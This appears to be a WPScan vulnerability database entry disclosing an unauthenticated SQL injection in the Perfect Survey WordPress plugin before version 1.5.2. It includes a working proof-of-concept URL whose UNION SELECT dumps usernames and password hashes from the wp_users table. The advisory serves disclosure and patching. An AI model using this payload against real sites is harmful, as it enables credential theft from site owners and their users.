Lucene search

K
wpvulndbApple502jWPVDB-ID:C1620905-7C31-4E62-80F5-1D9635BE11AD
HistoryOct 05, 2021 - 12:00 a.m.

Perfect Survey < 1.5.2 - Unauthenticated SQL Injection

2021-10-0500:00:00
apple502j
wpscan.com
69

The plugin does not validate and escape the question_id GET parameter before using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.

PoC

(The question_id must start with an existing post ID) https://example.com/wp-admin/admin-ajax.php?action=get_question&amp;question;_id=1 union select 1%2C1%2Cchar(116%2C101%2C120%2C116)%2Cuser_login%2Cuser_pass%2C0%2C0%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull from wp_users

CPENameOperatorVersion
perfect-surveylt1.5.2
Related for WPVDB-ID:C1620905-7C31-4E62-80F5-1D9635BE11AD